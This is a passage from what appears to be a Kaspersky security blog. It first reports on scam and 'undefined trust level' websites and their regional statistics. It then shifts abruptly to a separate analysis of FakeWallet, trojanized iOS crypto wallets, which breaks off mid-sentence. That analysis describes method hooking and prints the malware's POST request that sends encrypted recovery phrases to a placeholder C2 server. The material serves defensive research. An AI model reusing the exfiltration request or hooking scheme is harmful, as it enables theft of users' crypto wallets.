Executive summary

• A suspicious website is a web resource that cannot be definitively classified as phishing, but whose activities are unsafe. Such sites manipulate users, tricking them into voluntarily transferring money for non-existent services, signing up for hidden subscriptions, or disclosing personal data through carefully crafted terms of service. These include fake online stores, dubious crypto exchanges, investment platforms, and services with paid subscriptions.
• Kaspersky has introduced a new web filtering category, “Sites with an undefined trust level,” into its security products (Kaspersky Premium, Android and iOS apps, etc.). The system analyzes the domain name and age, IP address reputation, DNS configuration, HTTP security headers, and SSL certificate to automatically detect suspicious resources.
• According to Kaspersky data for January 2026, the most widespread global threat is fake browser extensions that mimic security products — they were detected in 9 out of 10 regions analyzed worldwide. Such extensions intercept browser data, track user activity, hijack search queries, and inject ads.
• Kaspersky’s regional statistics reveal the specific nature of these threats: in Africa, over 90% of the top 10 suspicious websites are online trading scam platforms; in Latin America, fake betting services predominate; in Russia, fake binary options brokers and “educational platforms” with fraudulent subscriptions lead the way; in CIS countries — crypto scams and bots for inflating engagement.
• Key indicators of a suspicious website to check: a strange domain name with numbers or random characters, cheap top-level domains (.xyz, .top, .shop), a recently registered domain (less than 6 months old according to WHOIS data), unrealistic promises (“100% guaranteed income,” “up to 300% profit”), lack of company contact information, and payments only via cryptocurrency or irreversible bank transfers.

Introduction

The online landscape is filled with various traps lying in wait for users. One such threat involves websites that can’t be strictly classified as phishing, yet whose activities are inherently unsafe. These sites often operate on the fringes of the law, even if they aren’t directly violating it. Sometimes they use a cleverly crafted Terms of Service document as a loophole. These agreements might include clauses such as no-refund policies or forced automatic subscription renewals.

Fake online stores, dubious financial platforms, and various online services that mimic legitimate business operations are all categorized as suspicious. Unlike actual phishing sites, which aim to steal sensitive data like banking credentials or passwords, these suspicious sites represent a far more cunning trap. Their goal is manipulation: tricking the victim into willingly paying for non-existent goods and services or signing them up for a subscription that’s nearly impossible to cancel. Beyond financial gain, these sketchy websites may also hunt for personal data to sell later on the dark web.

Our solutions categorize them as having an “undefined trust level”. This article explains what these sites look like, how to identify them, and what you can do to stay safe.

The dangers of shady websites

One of the biggest risks associated with making a purchase from an untrusted website that seems to be an online store is the financial loss and falling victim to fraud. Fake shops will entice you with attractive deals to get you hooked. After you pay, you may never receive what you paid for, or you may receive some cheap piece of unusable junk instead of the item you ordered. Investment or “guaranteed income” programs are another type of classic scam — they promise rapid returns, and once they take your deposits, they disappear without a trace.

Visiting or buying from untrusted suspicious websites can expose you to various risks that go beyond a single bad purchase. Fraudulent websites often collect your personal information even if you do not end up making a purchase. By completing a form or signing up for a “free offer”, you may be providing the scammer with access to your information.

Personal data collection can happen in a fairly straightforward and obvious way — for instance, through a standard order delivery form. In this scenario, attackers end up with sensitive information like the user’s full name, shipping and billing addresses, phone number, email address, and, of course, payment details. As we’ve previously discussed, fraudsters sell this kind of information, and there’re countless ways it can be used down the line. For example, this data might be leveraged for spam campaigns or more serious threats like stalking or targeted attacks.

Common types of suspicious sites

Let’s take a closer look at the different types of shady sites out there and how interacting with them can lead to financial loss, data leaks, the unauthorized use of personal information, and other consequences.

It’s worth noting that rogue websites can masquerade as legitimate ones in almost any industry. The first type of fraudulent site we’ll look at is fake online stores. These can appear as clones of real brand websites or as standalone stores. Usually, the scam follows one of two paths: the buyer either receives a counterfeit or poor-quality product, or they receive nothing at all. These sites lure victims in with suspiciously low prices and “exclusive” deals. Often, users are subjected to psychological pressure: the time to make a purchase decision is purposefully limited, provoking the victim, as with any other scam, into making an impulse purchase.

Another common type of shady site includes online exchanges and trading platforms. These primarily target cryptocurrency, as the lack of legislative regulation for digital currency in certain countries makes them a magnet for fraudsters. These suspicious sites often lure victims with supposedly favorable exchange rates or other enticing gimmicks. If the user attempts to exchange cryptocurrency, their tokens are gone for good. Beyond simple exchanges, rogue sites offer investment services and even display a fake balance growth to appear credible. However, withdrawing funds is impossible; when the victim tries to cash out, they’re prompted to pay some fee or fictional tax.

Subscription traps are also worth noting, offering everything from psychological tests to online video streaming platforms. The hallmark of these sites is that they deliberately withhold critical information, such as recurring charges, or hide the fact it even exists. Typically, the scheme works like this: a user is offered a subscription for a nominal fee, like $1. While that seems attractive, the next charge – perhaps only a week later – might be as much as $50. This information is intentionally obscured, buried in fine print or tucked away in the Terms of Service where it’s harder to find. Legitimate services always clearly disclose subscription terms and provide an easy way to cancel before a trial period ends. Scam services, on the other hand, do everything possible to distract the user from the actual terms of use and subscription.

Shady sites can also masquerade as providers of mediation services, such as legal or real estate assistance. In reality, the service is either never delivered or provided in a stripped-down, incomplete form. For example, a user might be prompted to pay for a service that’s normally provided for free. The danger here lies not only in losing money for non-existent services but also in the significant risk of exposing personal data, such as ID details, taxpayer identification numbers, social security numbers, or driver’s license information. Once in the hands of attackers, this data can become a tool for executing further scams or targeted attacks.

On the whole, suspicious sites are fairly difficult to distinguish from legitimate, trustworthy services. Masquerading as a legitimate business is the primary goal of these sites, and the fraudulent schemes they employ are not always obvious. Nevertheless, there are protective measures as well as certain indicators that can help you suspect a site is unsafe for purchases or financial transactions.

How to identify suspicious or fraudulent websites

Despite the increasingly convincing attempts to create fake shops, the majority of them still lack the quality of real online stores, and there are many signs that may give them away. Some of these signs can be caught by the eye while others require a bit of technical investigation. By combining visual inspection, technical checks, and trusted online tools, you can protect yourself from financial loss or data theft.

Visual and manual clues

You don’t need to be a cybersecurity expert to catch many red flags just by observing the site’s domain, visuals, language and behavior. For instance, scam sites often have strange or randomly generated names, filled with numbers, underscores, hyphens, or meaningless words, like best-shop43.com. In addition, such vague top-level domains as .xyz, .top, or .shop are also frequently used in scams because they’re cheap and easy to register.

Furthermore, most fake stores sites look unprofessional, with poor visuals, pixelated images, mismatched fonts, or copied templates. Many fraudulent websites borrow layouts or logos from other brands or free templates, which makes them appear generic and sketchy.

Another major giveaway lies in the content itself. Be aware of persuasive language, unrealistic promises, or emotional triggers such as No KYC, Risk-free returns, 100% guaranteed income, Up to 300% profit, or Passive income with zero effort. Unrealistic deals are another red flag. If the products are listed at extremely low prices, continuous countdown timers, and “limited time only” messages that are often used to pressure you into making a quick purchase, it’s a clear tell of a fraudulent website.

Legitimate businesses always provide verifiable contact details, such as a physical address, company name, and customer support. On the contrary, scam sites hide this information. You may also notice the non-functioning pages, broken or suspicious links leading to unrelated external sites which indicate poor maintenance or malicious intent.

Another important signal is the website’s social media presence. Legitimate online businesses usually maintain at least one active social media account to promote their products and communicate with customers. In most cases, these businesses have long-established social media accounts with harmonized posting history and engagement from real users, consistency between the brand website and social media profiles (same name, logo, and links). The links to social media profiles from the website are usually direct. In contrast, fraudulent or deceptive websites often lack any meaningful social media presence or display signs of superficial or artificial activity. This may include missing social media accounts altogether, social media icons that lead to non-existent, inactive, or unrelated pages, or recently created profiles with very few posts and minimal user engagement. In some cases, comment sections are disabled or dominated by spam and automated content, suggesting an attempt to avoid public interaction rather than engage with customers.

Lastly, the payment options offered by the site can also tell a lot about its legitimacy. Be extremely cautious if a website only accepts cryptocurrency, wire transfers, or third-party P2P payments. These payment methods are irreversible and are preferred by scammers. Legitimate e-commerce platforms typically offer secure and reversible payment options, such as credit cards or trusted payment gateways that include buyer protection policies.

However, the absence or existence of any of these factors alone does not necessarily indicate malicious intent. It should be evaluated in combination with technical, linguistic, and behavioral indicators, rather than treated as a standalone signal of legitimacy.

Technical indicators to check

Looking into technical signs can reveal whether a website is trustworthy or potentially fraudulent.

One of the first things to check is the domain age. Scam websites are often short-lived, appearing only for a few weeks or months before disappearing once users start reporting them. To check when the domain was created, use a WHOIS lookup. If it’s less than six months old, be cautious — especially for e-commerce or investment sites, where legitimacy and trust take time to build.

Let’s take a look at the registration details for the popular online marketplace Amazon. As we can see from the WHOIS information, it was registered in 1994.

Meanwhile, a reported suspicious online store was created a couple of months ago.

Legitimate websites usually operate on stable hosting platforms and remain on the same IP addresses or networks for long periods. In contrast, fraudulent websites often move between servers (in most cases using a cheap shared hosting service) or reuse infrastructure already associated with abuse. Checking the IP address reputation can reveal if the website or the hosting server has previously been linked to suspicious activities. Even if the website looks legitimate, a poor IP reputation can expose it.

In addition to that, looking at the infrastructure behavior over time can reveal patterns about its legitimacy. Websites associated with fraudulent activity often show short lifespans, sudden spikes in activity, or rapid appearance and disappearance, which indicates a coordinated campaign rather than a legitimate business.

Another important clue is hidden ownership. When the WHOIS details show “Redacted for Privacy” or leaves the organization name blank, it may indicate that the website owner is deliberately hiding their identity.

We should point out that while this can raise suspicion during investigations, hidden WHOIS data is not inherently malicious. Many legitimate businesses use privacy protection services for valid reasons. These may include protection from spam and phishing after public email addresses are taken from WHOIS databases, personal safety for small business owners, and brand protection to prevent competitors or malicious actors from targeting the registrant. This means that some businesses can use services like WHOIS Privacy Protection, Domains By Proxy, or PrivacyGuardian.org to remove the WHOIS data while still operating transparently on their websites through clear contact details, customer support channels, and legal pages (e.g. terms of use).

Therefore, hidden ownership should be treated as a contextual risk indicator, not a standalone proof of fraud. It becomes more suspicious when combined with other signals such as newly registered domains, and lack of legal information.

Next, you can check the security headers of the website. Legitimate websites are usually well maintained and include several key HTTP headers for protection. Some examples include:

• Content-Security-Policy (CSP) provides strong defense against cross-site scripting (XSS) attacks by defining which scripts are allowed to run on the site and blocking any malicious JavaScript that could steal login data or inject fake forms.
• HTTP Strict-Transport-Security (HSTS) forces browsers to connect to the site only over HTTPS. It ensures all communication is encrypted and prevents redirecting users to an insecure (HTTP) version of the site.
• X-Frame-Options prevents clickjacking, which is a type of attack where a legitimate-looking button or link on a malicious page secretly performs another action in the background.
• X-Content-Type-Options blocks MIME-type attacks by preventing browsers from misinterpreting file types.
• Referrer-Policy controls how much information about your previous browsing (referrer URLs) is shared with other sites.

These headers form the “digital hygiene” of a website. Their absence doesn’t always mean a site is malicious, but it does suggest a lack of security awareness or professional maintenance — both strong reasons to be cautious.

You should also check the SSL certificate. Scam sites may use self-signed or short-lived SSL certificates. You can inspect this by clicking the padlock icon in your browser’s address bar — if it says “not secure” or the certificate authority seems unfamiliar, that’s a red flag.

You can check the security headers and the SSL certificate by sending an HTTP request programmatically or by using some online service.

Another indicator that provides insight into how well a website is done and managed is DNS configurations. Legitimate businesses typically use reliable DNS providers and maintain consistent DNS records. Missing the name server NS or mail exchange MX records may indicate poor DNS configuration. In addition to NS and MX, reputable sites also configure SPF and DMARC records to protect their brand from email spoofing and phishing. Something scam website developers won’t bother with because they don’t intend to build a long-standing reputation.

You can check the configurations of DNS records either programmatically or by using an online service.

Another recommendation is to pay attention to website behavior. If there are frequent redirects, pop-up ads, or background requests to unknown domains, this may indicate unsafe scripting or tracking.

How to protect yourself

Tools and databases for detecting suspicious websites

We at Kaspersky have built an intelligent system for detecting suspicious web resources and added this new type of protection into many of our products, including Kaspersky Premium, Kaspersky for Android and iOS, and others. Our detection model is based on many factors, including but not limited to the following:

• domain name and age,
• IP reputation,
• stability of the infrastructure used,
• DNS configurations,
• HTTP security headers,
• digital identity and popularity of the web resource.

Kaspersky has been certified as a provider of effective protective technology for fake shop detection.

When a user tries to visit a site flagged as having an undefined trust level, our solutions show a warning to stop the visitor from becoming a victim of personal data leaks, financial losses or a bad purchase:

This component is on by default.

Moreover, there are several online tools and databases that can help assess a website’s legitimacy:

• ScamAdviser analyzes trust based on WHOIS, server location, and web reputation.
• APIVoid provides risk scoring using DNS, IP, and domain reputation databases.
• National government databases often maintain official lists of fraudulent or blacklisted domains.

Preventive measures

To protect yourself from such threats, it might a good idea to take some additional preventive measures. Always double-check the URL and domain name, especially when you are about to click a link or make a payment. Make sure the site uses HTTPS and has a trusted certificate.

You can use standard browser tools to verify site security. For example, in Google Chrome, clicking the site information button (the lock or settings icon in the address bar) displays details about the connection security and the site’s certificate.

In the Security section, you can check whether the site supports HTTPS – it should say “Connection is secure” – and view the site’s digital certificate.

Additionally, keep reliable security software with real-time protection running on your device to stop you from accessing dangerous websites. Do not download any files or enter your personal information on websites that look unprofessional or suspicious. And finally, remember the golden rule: if a deal seems too good to be true, it often is.

If you realize that you’re on a scam website, it’s important to perform certain post-incident actions immediately. First, contact your bank or payment provider as soon as possible to block the transaction or card. Then, change your passwords for the services which might have been compromised, and run a full antivirus scan on your device to detect and remove any potential threats. Lastly, consider reporting the website to the cybercrime agency in your country or to the consumer protection agency. Sharing your experience online by leaving a review or warning will give notice to potential customers alike.

By staying careful and taking quick actions, you can significantly reduce the chances of being a target and help make the internet a safer place for everyone.

An overview of detection statistics for sites with an undefined trust level

To illustrate the types of suspicious sites prevalent in various regions around the world, we analyzed anonymized detection data from Kaspersky solutions for the “websites with an undefined trust level” category in January 2026. For each region, we identified the 10 most frequently encountered sites and calculated the share of each within that list. To maintain privacy, specific domains are not listed directly; instead, they’re described based on their functionality and characteristics.

Most visited suspicious sites

First, let’s examine the sites that appear across multiple regions, indicating a high prevalence.

In 9 out of the 10 regions analyzed, we encountered a suspicious image processing platform (*a*o*.com). This site positions itself as a photo editing tool, but in reality, it serves as an intermediary server for uploading images used in phishing and other campaigns. By interacting with such a site, users risk exposing personal data under the guise of uploading images or falling victim to a phishing attack.

Percentage of the *a*o*.com domain detections by region, January 2026 (download)

This site has the largest share of detections in the Russian Federation, where it ranks first in the TOP 10 with a 40.80% share. It is also prevalent in Latin American countries (21.70%) and the CIS (14.64%), while it’s least common in Canada at 0.24%.

The next site appeared in 7 regions. It consists of a landing page for a fake antivirus solution presented as a browser extension (*n*s*.com). This extension redirects the user to a fake search engine page allowing it to collect data and track user activity, specifically search queries.

Percentage of the *n*s*.com domain detections by region, January 2026 (download)

This site is most frequently detected in South Asia, with a share of 33.31%. Its presence in Canada and Oceania is roughly equal (15.47% and 15.09%, respectively). We recorded the lowest number of detections in Africa, at 2.99%.

Another suspicious browser extension appeared in the TOP 10 in 6 out of the 10 regions. It’s a fake privacy-enhancing tool hosted at *w*a*.com. Instead of providing the advertised privacy features, this extension carries a high risk of intercepting browser data. It can modify browser settings, harvest user data, and swap the default search engine for a fake one. Furthermore, it maintains full control over all browser traffic.

Percentage of the *w*a*.com domain detections by region, January 2026 (download)

This “service” has its largest share, 22.25%, in the Middle East and North Africa, and is also quite common in Canada (16.26%). It’s least frequently encountered in Latin America (5.38%) and East Asia (4.02%).

The site *o*r*.com appeared in five regional rankings. It’s a fake security service promising to provide online safety by warning users about malicious sites and dangerous search queries. This extension has the potential to steal cookies (including session cookies), inject advertisements, spoof login forms, and harvest browser history and search queries. We noted that this site made the TOP 10 in Africa (0.59%), the MENA (Middle East and North Africa) region (4.57%), Europe (5.61%), Canada (7.21%), and Oceania (1.93%).

In 4 out of the 10 regions, we identified several other recurring sites. One of them (*n*p*.xyz) mimics a repository for creative AI image generation prompts while capturing browser data. The domain hosting this site exhibits several red flags: it was recently registered, and the owner’s information is hidden. This site reached the TOP 10 in Africa (0.51%), the MENA region (7.04%), Latin America (22.54%, ranking first in that region), and South Asia (5.91%).

The second service (*i*s*.com) positions itself as a tool for safe searching, protecting the browser from threats, and verifying extensions. However, this is a typical browser hijacker, much like the others mentioned above. It made the TOP 10 in South Asia (8.03%), Oceania (17.97%), Europe (3.90%), and Canada (14.35%).

The third site (*h*t*.com) poses as a private browsing extension. In reality, it’s another potentially unwanted application designed for browser hijacking: it modifies settings, steals sensitive data (cookies, browser history, and queries), and can redirect the user to phishing pages. Users have specifically noted the difficulty involved in removing the extension. This site appears in the TOP 10 for the MENA region (10.17%), Canada (7.06%), Europe (3.81%), and Oceania (2.81%).

Another domain (*o*t*.com) that reached the TOP 10 in four regions is a service mimicking a browser extension for safe searching and web browsing. It’s dangerous because it injects ads and steals user data. It’s important to note that such extensions can be installed without explicit user consent – for example, via links embedded in other software. This service holds the number one spot in two regions: Canada (25.72%) and Oceania (30.92%), while also appearing in the TOP 10 for East Asia (8.01%) and Africa (0.88%).

Consequently, we can see that the majority of suspicious sites detected by our solutions worldwide are browser hijackers masquerading as security products. Nevertheless, other categories of sites also appear in the TOP 10.

Next, we’ll examine each region individually, focusing on descriptions of domains not previously covered. For clarity, the sites mentioned above will be marked as [MULTI-REGION], while those appearing in only two or three regions will include the names of those specific areas. We’ll observe several regional overlaps and similarities, allowing us to determine which types of suspicious sites are popular both within specific regions and globally.

Africa

Distribution of the TOP 10 suspicious websites in Africa, January 2026 (download)

The three most prevalent domains in African countries are found exclusively in this region. All of them – *i*r*.world (60.27%), *m*a*.com (22.84%), and *e*p*.com (9.36%) – are potentially fraudulent online trading platforms suspected of using forged licenses. These sites employ classic scam schemes where it’s impossible to withdraw any alleged earnings. In fifth place is a domain we’ll also see in the European TOP 10, *r*e*.com (1.46%): a platform marketed as a tool for retail and semi-professional traders. It charges for services available elsewhere for free. Eighth place is held by a site that also appears in the Russian TOP 10: *a*c*.com (0.56%). This is a dubious AI tool that claims to offer free subscriptions to a premium graphics editor. In ninth place is a domain that also surfaces in the Canadian TOP 10: *u*e*.com (0.53%), a browser extension of the “web protection” variety that we’ve encountered previously.

In summary, the African region is dominated by financial scams within the online trading and brokerage sectors. These include fake platforms that make it impossible to withdraw funds and use fake licenses and classic schemes to steal users’ money. Additionally, Africa sees paid tools that duplicate free services and questionable AI-based subscriptions. The primary threat in this region is financial loss through fraudulent investment-themed sites.

MENA

Distribution of the TOP 10 suspicious websites in the Middle East and North Africa, January 2026 (download)

In the MENA region, the site *a*v*.su holds the top spot with a 28.64% share; notably, this site also appears in the TOP 10 for Russia. It markets itself as a tool for building custom VoIP-PBX systems. However, it has an extremely low trust rating and is frequently associated with phishing, and hidden redirects. Using this service carries significant risks, including data leaks, and financial loss.

Ranked seventh is *a*r*.foundation (6.32%), an AI bot allegedly designed for trading, which we also identified in the TOP 10 for Oceania. This service has been flagged as an investment scam operating as a pyramid scheme with the hallmarks of a Ponzi scheme.

The ranking is rounded out by two domains not found in any other region. The first one, *l*e*.pro (4.42%), is a spoof of a popular betting service. The second, *p*r*.group (2.21%), is a clone of a well-known broker. Both sites are scams.

In the MENA region, the landscape is dominated by fake VoIP services as well as counterfeits of financial and betting platforms, which attackers use to conduct phishing attacks, and perform hidden redirects. A significant portion of suspicious sites consists of fake online privacy tools and browser hijackers masquerading as security extensions. Ponzi schemes and cryptocurrency scams are also prominent. The primary risks for the region are data theft, and financial loss.

Latin America

Distribution of the TOP 10 suspicious websites in Latin America, January 2026 (download)

In Latin America, we identified five popular suspicious sites specific to this region, which is unusual compared to other areas where more overlaps are typically observed. Ranking third with a share of 10.81% is the fake betting platform *b*e*.net. In fifth place is *r*e*.club, an illegitimate clone of a well-known bookmaker, with a share of 7.82%.

Further down the list of local threats are *a*a*.com.br (7.02%), a Brazilian Ponzi scam; *s*a*.com (5.07%), which offers dubious investment programs; and *t*r*.com (4.53%), a potentially dangerous trading platform.

In Latin America, the most-visited suspicious sites are betting-themed scams, including both clones of legitimate sites and those built from scratch. Also prevalent are Ponzi schemes, fake investment programs, and dubious online brokers. A significant portion of these sites consists of browser hijackers posing as crypto platforms and AI bots. The primary threats in Latin American countries include financial loss through gambling and Ponzi schemes, as well as the theft of NFTs and other tokens.

East Asia

Distribution of the TOP 10 suspicious websites in East Asia, January 2026 (download)

In the East Asian TOP 10, we see the highest concentration of domains that are absent from other regional rankings.

In first place, with an 18.77% share, is the fake broker *r*x*.com, which can be used to steal personal data or funds. Second place is held by a crypto-gaming site (16.44%) that we previously encountered in the Latin American TOP 10. Visitors to this site risk losing NFTs and other tokens. In third place is the domain *u*h*.net (11.61%), used for redirects, which can hijack sessions. Following this is *s*m*.com (9.98%), a domain typically used as a browser-hijacking server and for phishing attacks, serving as a link in an infection chain.

Rounding out the local threats in East Asia are the following domains: *e*v*.com (9.37%), utilized in drive-by attacks; *a*k*.com (9.16%), an API-like domain associated with suspicious scripts and extensions; and *b*l*.com (4.38%), a domain potentially used for redirects.

East Asia has a high concentration of region-specific fake brokers, crypto gaming platforms, and NFT marketplaces. The primary threats for this region include the loss of financial data, NFTs, and other tokens, as well as session hijacking.

South Asia

Distribution of the TOP 10 suspicious websites in South Asia, January 2026 (download)

In South Asian countries, we also observe a concentration of local suspicious sites specific to the region.

The second most popular site in the region is *a*s*.com (12.01%), a poor-reputation, high-risk microloan service typical of South Asia. By interacting with these sites, users risk not only losing significant funds but also compromising their overall security. Following this are *v*n*.com with a 9.47% share and *l*f*.com with 8.65%. These domains are employed in various fraudulent schemes, ranging from phishing to spam.

The TOP 10 also includes *s*o*.com (4.80%), a free video downloading service associated with a high risk of infection. The final site we analyzed in the South Asia region is *c*o*.site (1.89%), a pseudo-tool for local SEO optimization that carries the danger of data loss and a high risk of financial fraud through subscription sign-ups.

In summary, the region is dominated by fake antivirus extensions, microloan services, dubious video downloaders, and counterfeit SEO tools. The primary risks for South Asia include financial fraud, phishing and spam distribution, and data theft.

CIS

When analyzing statistics for suspicious sites in CIS countries, we treat Russia as a separate region due to the unique characteristics of its online space which are not found in any other CIS member states. However, we’ve placed these two regions in the same section, as we’ve observed overlaps between them that are not seen in other parts of the world.

Distribution of the TOP 10 suspicious websites in the CIS, January 2026 (download)

The top two sites in the CIS TOP 10 also appear in the Russian TOP 10. The domain *r*a*.bar, which ranks first in the CIS (39.50%), holds the second spot in Russia (15.93%) and is a fake trading site. It’s worth noting that sites in the .bar domain zone are frequently used for scams. In second place in the CIS (15.29%) and sixth in Russia (3.75%) is the domain *p*o*.ru, which is often associated with bots for inflating follower counts and automating community management.

Domains from fourth to eighth place are specific only to the CIS region and don’t appear in the Russian TOP 10. These sites include:

• *a*e*.online (8.42%): an online image editor that carries risks of data harvesting
• *n*a*.io (6.51%): a high-risk cryptocurrency trading platform
• *e*r*.com (3.72%): a site promising free cryptocurrency and posing the risk of compromising visitors’ private keys and digital wallets
• *s*o*.ltd (3.70%): a domain with an extremely low trust rating
• *s*.gg (3.49%): a scam site masquerading as a play-to-earn blockchain game

The ranking concludes with sites that overlap with the Russian region. *a*.consulting (2.42%) is a fake clone of a binary options site, and *a*.lol (2.32%) is a domain suspected of dubious activity.

The CIS landscape is dominated by fake trading platforms (particularly crypto exchanges), promises of easy profits, play-to-earn scams, and dubious investment projects. We also observe many bots for inflating social metrics and automation. The primary threat in the CIS is the theft of private keys, digital wallets, and funds through investment schemes and lures involving online promotion.

Distribution of the TOP 10 suspicious websites in Russia, January 2026 (download)

The Russian TOP 10 includes three unique domains not found in the rankings of other regions. The first, *n*m*.top (7.84%), is an imitator of a well-known binary options broker. This suspicious site was recently registered and has a tellingly low rating on domain verification services. The second, *t*e*.ru (3.25%), claims to be an educational platform and has a dubious subscription system with a high probability of fraud involving difficulties in canceling subscriptions. The third site, *e*e*.org (3.14%), positions itself as a tool for a popular media platform, but it’s actually a scam that fails to provide its stated services.

Overall, the Russian landscape is characterized by fake binary options brokers and sketchy sites with fraudulent subscriptions posing as e-learning platforms. There are also frequent instances of sites spoofing well-known legitimate services. The primary risks in Russia are scams related to the knowledge business sector, as well as the theft of money and personal data.

Europe

Distribution of the TOP 10 suspicious websites in Europe, January 2026 (download)

In the European region, we’ve found two unique domains. The first of these, *c*r*.org, has been identified as part of a chain for massive phishing and spam attacks. It accounts for a 16.08% share of the TOP 10. The second site, *o*n*.de, is an unofficial reseller with a poor reputation and a high likelihood of fraud. This domain ranks second to last in our statistics with a 5.95% share.

Among the sites not previously covered, the European TOP 10 includes one site that also appears in the Oceania TOP 10: *o*i*.com (6.61%). This is a classic cryptocurrency scam promising passive income.

A significant portion of suspicious sites in Europe consists of intermediary sites for phishing and spam, fake security extensions, and crypto scams. Unofficial sales services and paid trading tools are also on the list. The primary threats in the European region include session hijacking, data theft, spam, and investment fraud.

Canada

Distribution of the TOP 10 suspicious websites in Canada, January 2026 (download)

Canada has been designated as a separate region to illustrate prevailing trends within North America. The first four positions in the Canadian TOP 10 are held by multiregional domains discussed previously. In fifth place is *t*c*.com (10.88%), which also appears in the TOP 10 rankings for Oceania and South Asia. This is yet another browser extension masquerading as a security solution. Occupying the final spot is the domain *e*w*.com (0.17%), which is unique to the Canadian market. This site operates a dropshipping scam, offering products at prices significantly below market value. Customers typically either never receive their orders or get low-quality counterfeits.

The landscape of dubious websites in Canada is largely defined by fraudulent extensions capable of hijacking browser data, tracking user activity, spoofing search queries, harvesting cookies, and injecting ads. This is further compounded by dropshipping schemes involving counterfeit goods. The primary risks for users in Canada include data theft and financial loss from purchasing substandard products.

Oceania

Distribution of the TOP 10 suspicious websites in Oceania, January 2026 (download)

The final region under consideration is Oceania. Notably, we didn’t identify a single domain unique to this region. Every site appearing in the TOP 10 represents a global threat that’s already been detailed in previous sections. To summarize the findings for this region: the primary threats consist of fake security extensions and privacy products designed for browser hijacking, tracking user activity, displaying advertisements, and stealing data. There’s a minimal presence of crypto Ponzi schemes in this area. The main risk for users in Oceania is the loss of privacy and confidentiality through unwanted apps.

Conclusion

Suspicious websites are particularly dangerous because they often masquerade as legitimate sites with high levels of persuasiveness. They mimic online stores, subscription-based streaming platforms, repair firms, and various other services. Unlike standard phishing sites, they employ more sophisticated manipulations to deceive users, tricking them into voluntarily handing over their personal data and transferring funds.

By examining the TOP 10 suspicious sites across the world’s major regions, we can draw several conclusions. On average, the most prevalent threats globally are fraudulent extensions masquerading as security solutions and privacy services. Their true purpose is to hijack browser data, track user activity, and display ads. We also frequently encounter phishing platforms for image processing and financial scams involving trading, cryptocurrency, betting, and microloans. Our statistics demonstrate that these sites not only employ classic fraudulent schemes centered on easy money but also adapt to contemporary trends targeting younger audiences and specific regional characteristics. The primary risks for users interacting with these sites are a combination of privacy threats and financial loss.

To help protect users from these shady sites, we’ve introduced the category of “websites with an undefined trust level” as part of the web filtering features in our solutions. However, it’s important to note that user awareness and individual responsibility play a significant role in ensuring safe web browsing. It’s essential for users to be able to recognize suspicious sites and remain vigilant toward any that appear untrustworthy.

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background

This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic.  The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

Malicious modules for hot wallets

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

• The extracted mnemonics are stringed together.
• This string is encrypted using RSA with the PKCS #1 scheme.
• The encrypted data is then encoded into Base64.
• Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:

POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger

The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

